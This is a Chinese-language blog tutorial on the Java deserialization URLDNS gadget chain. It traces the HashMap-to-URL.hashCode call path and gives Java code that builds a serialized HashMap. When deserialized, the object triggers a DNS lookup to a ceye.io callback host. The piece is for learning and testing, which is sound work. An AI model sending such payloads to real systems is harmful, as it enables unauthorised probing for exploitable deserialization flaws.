java反序列化---URLDNS链

目录

一、前言

二、原理分析

三、代码实现


一、前言

URLDNS链相较于其他java反序列化链是比较简单的,只需要几步调用就能触发

所以学习java反序列化,最好从URLDNS链出发,初步了解如何跟进,以及反射获取类、方法等

使用这条链可以传入一个URL,然后触发的结果就是进行一次DNS请求

为了方便通信,通常需要把数据序列化,通信完成后,再把数据反序列化,在这之中就会产生漏洞

在数据反序列化时,某些类会自动调用readObject()方法,执行里面的代码

调用链

Gadget Chain:HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()

二、原理分析

在反序列化时,readObject方法内的代码会自动执行,key=URL,跟进putVal函数

putVal方法调用hash()函数,再跟进hash函数

发现hash函数调用的是key.hashCode(),也就是URL.hashCode(),那么我们再跟进URL的hashCode函数 

如果hashCode不等于-1,就返回原值,否则执行handler.hashCode,跟进这里的hashCode 

走到getHostAddress函数中,跟进

又返回u.getHostAddress()方法,再跟进 

 

 就到了getByName,进行DNS请求

这样一套操作下来,就完成了DNS请求 

三、代码实现

我们可以先写成这样看一下,按理说,我们还没有反序列化,readObject方法不会自动执行,DNS解析也就不会执行

注意:最好新建Maven项目,新建文件夹,把代码写到对应的文件夹下,不然有可能会报错

public class demo {public static void main(String[] args) throws Exception{HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();URL url = new URL("http://tixtwe.ceye.io");hashmap.put(url,1);serialize(hashmap);}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

但是确实是执行了,那为什么呢?

这是因为Hashmap的put方法也会调用putVal函数, 然后和上面我们分析的一样,会进行DNS解析

所以我们需要禁止掉put函数进行DNS解析,那怎样禁止呢?

通过这个if,我们可以让hashCode不等于-1,那就走到返回原值那里了,就不会往下执行了

但问题是怎么让它不等于-1,java.net.URL中规定了hashCode=-1,并且是个私有方法

这里我们可以使用反射,来修改hashCode的值

    public static void main(String[] args) throws Exception{HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();// 这里不要发起请求URL url = new URL("http://tixtwe.ceye.io");Class c = url.getClass();Field hashcodefile = c.getDeclaredField("hashCode");hashcodefile.setAccessible(true);hashcodefile.set(url,1234);hashmap.put(url,1);serialize(hashmap);

首先创建名为hashmap和url的两个实例,getClass()获取到URL这个类

然后getDeclaredField获取到URL类中的hashCode字段,设置可修改性为true 

修改hashCode值为1234,最后调用put方法,这样修改了hashCode的值,DNS请求不会触发

问题解决以后,我们再说反序列化,修改代码如下

public static void main(String[] args) throws Exception{HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();URL url = new URL("http://tixtwe.ceye.io");Class c = Class.forName("java.net.URL");Field hashcodefile = c.getDeclaredField("hashCode");hashcodefile.setAccessible(true);hashcodefile.set(url,1234);hashmap.put(url,1);// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性hashcodefile.set(url,-1);serialize(hashmap);unserialize("ser.bin");}

值得注意的是,我们需要将原本的hashCode值给修改回来,不然到反序列化时,readObject函数也会调用putVal和hashCode

如果不等于-1,DNS请求就不会触发,只有修改回来,才能正常调用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/135345.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

面试中常见的算法题和其python实现

在面试中&#xff0c;常见的算法题包括排序算法、查找算法、动态规划、贪心算法等。以下是一些常见算法题及其Python实现示例&#xff1a; 1. 快速排序&#xff08;Quick Sort&#xff09;&#xff1a; 题目描述&#xff1a;给定一个数组&#xff0c;使用快速排序算法对数组进…

不负昭华,前程似锦,新一批研发效能认证证书颁发丨IDCF

亲爱的认证学员&#xff0c; 恭喜你成功获得由国家工业和信息化部教育与考试中心颁发的职业技术证书——《研发效能(DevOps)工程师国家职业技术认证》。你的努力和才华得到了官方的认可&#xff0c;这是你职业生涯中的一个重要的里程碑。 这个证书不仅代表着你的专业知识和技…

c语言练习61:malloc和free

malloc和free malloc C语⾔提供了⼀个动态内存开辟的函数&#xff1a; 1 void* malloc (size_t size); 这个函数向内存申请⼀块连续可⽤的空间&#xff0c;并返回指向这块空间的指针。 • 如果开辟成功&#xff0c;则返回⼀个指向开辟好空间的指针。 • 如果开辟失败&…

解决 Cannot read property ‘key‘ of undefined

目录 问题解决1解决2最终 问题 现场环境分页查询某些条件项查询时&#xff0c;分页接口获取成功但是数据不渲染&#xff0c;页面像是卡住了&#xff1a; 报错 Cannot read property key of undefined 解决1 有人说 使用的el-pagination在格式化代码的时候layout属性的参数会多加…

ACM MM 2023 | 基于点集和偏置的单阶段多人人体解析方法

本文为我们刚刚被ACM MM2023接收的工作“Single-Stage Multi-Human Parsing via Point Sets and Center-Based Offsets”的分享报告。 论文链接&#xff1a; https://arxiv.org/abs/2304.11356 01. 前言 EVOL创新团队与北京邮电大学共同提出多人人体解析方法SMP&#xff0c;利…

IM即时通讯系统[SpringBoot+Netty]——梳理(总)

文章目录 一、为什么要自研一套即时通讯系统1、实现一个即时通讯系统有哪些方式1.1、使用开源产品做二次开发或直接使用1.2、使用付费的云服务商1.3、自研 2、如何自研一套即时通讯系统2.1、早期即时通讯系统是如何实现2.2、一套即时通讯系统的基本组成2.3、当下的即时通讯系统…

华为云云耀云服务器L实例评测|cento7.9在线使用cloudShell下载rpm解压包安装mysql并开启远程访问

文章目录 ⭐前言⭐使用华为cloudShell连接远程服务器&#x1f496; 进入华为云耀服务器控制台&#x1f496; 选择cloudShell ⭐安装mysql压缩包&#x1f496; wget下载&#x1f496; tar解压&#x1f496; 安装步骤&#x1f496; 初始化数据库&#x1f496; 修改密码&#x1f4…

一周技术杂谈2023_09_11--2023_09_15

平铺直述&#xff01; 1、linux 64位系统可以运行32位linux程序。需要在linux64位系统新增一些设置: sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install libc6:i386 libncurses5:i386 libstdc6:i386 其他已验证&#xff1a;32位用到的系统库无需替换…

IDEA使用技巧

1. 打开或导入别人的项目&#xff0c;找不到运行和调度的方法&#xff0c;如图所示(原因修改IDEA Mavem的执行路径&#xff09; IDEA Maven配置的设定如下图所示&#xff1a; 程序启动类不能执行和调试如图所示 解决方案如下&#xff1a; 修改IDEA的Maven的路径&#xff0c;…

【JavaEE】多线程(三)

多线程&#xff08;三&#xff09; 续上文&#xff0c;多线程&#xff08;二&#xff09;&#xff0c;我们已经讲了 创建线程Thread的一些重要的属性和方法 那么接下来&#xff0c;我们继续来体会了解多线程吧~ 文章目录 多线程&#xff08;三&#xff09;线程启动 startsta…

【Node.js】模块化:

文章目录 1、模块化的基本概念2、Node.js 中模块化【1】Node.js 中模块的分类【2】加载模块【3】模块作用域【4】向外共享模块作用域中的成员【5】模块化规范 3、npm与包&#xff08;包/依赖/插件&#xff09;【1】包的基本知识&#xff1a;【2】开发属于自己的包【3】发布包 4…

软考 - 系统架构设计师如何备考?文中含资料分享和备考心得

前言 我参加了2022年11月份的《软考-系统架构设计师》考试&#xff0c;在两个多月的备考之中我总结了一些学习经验和答题技巧&#xff0c;现毫无保留的分享给大家&#xff0c;希望对报考的同学们有所帮助。 一、软考的作用 1、以考代评&#xff08;国企、事业单位、公务员评职…

SpringMvc第六战-【SpringMvcJSON返回异常处理机制】

前言&#xff1a; 小编讲述了&#xff1a;JSR303的概念&#xff0c;应用场景和在具体实例的使用&#xff1b;和拦截器的应用 今天小编来讲述的为cJSON返回&异常处理机制&#xff0c;json返回就不用多说&#xff0c;毕竟大部分数据都是通过Json来传递数据的&#xff0c;异…

常见音视频、流媒体开源编解码库及官网(四十一)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生从来没有捷径,只有行动才是治疗恐惧和懒惰的唯一良药. 更多原创,欢迎关注:Android…

请问一下就是业务概念模型和业务逻辑模型有啥关系

请问一下就是业务概念模型和业务逻辑模型有啥关系&#xff1f; 业务概念模型和业务逻辑模型是业务建模的两个关键组成部分&#xff0c;两者密切相关但又有所不同。 1.业务概念模型&#xff1a;这是对业务术语、定义和关系的一种抽象表示。它是从业务专家那里获得的知识&#…

C++基础-类和对象(下)

文章目录 前言一、构造深入1.初始化列表2.隐式类型转换1.隐式类型转换2.explicit 3.委托构造 二、类的静态成员1.静态成员声明2.静态成员定义3.静态成员特性 三、重载运算符和类型转化1.关系及算数运算符重载2.递增递减运算符重载及如何区分3.赋值运算符重载4.重载输入输出运算…

大数据Flink(七十七):SQL窗口的Over Windows

文章目录 SQL窗口的Over Windows 一、​​​​​​​时间区间聚合

选开源还是闭源?2区16天录用!国人友好,期刊指标优秀

在本期分享前&#xff0c;鉴于近期多位作者的困惑&#xff0c;小编想分享开源期刊和闭源期刊的含义、区别、以及如何选择&#xff1f; 概念区别 “开源期刊”即开放存取。简称OA&#xff08;Open access)&#xff0c;是指将学术信息放在互联网上供所有人共享&#xff0c;不需…

我学编程全靠B站了,真香(第一期)

你好&#xff0c;我是Martin。 我是就读于B站大学2020届的Martin同学&#xff0c;反正我学习计算机真的是全靠 B 站了。 我是个刷视频狂魔&#xff0c;B站收藏夹里也收藏了很多编程类视频&#xff0c; 比如C/C、Go语言、操作系统、数据结构和算法、计算机网络、数据库、Pyth…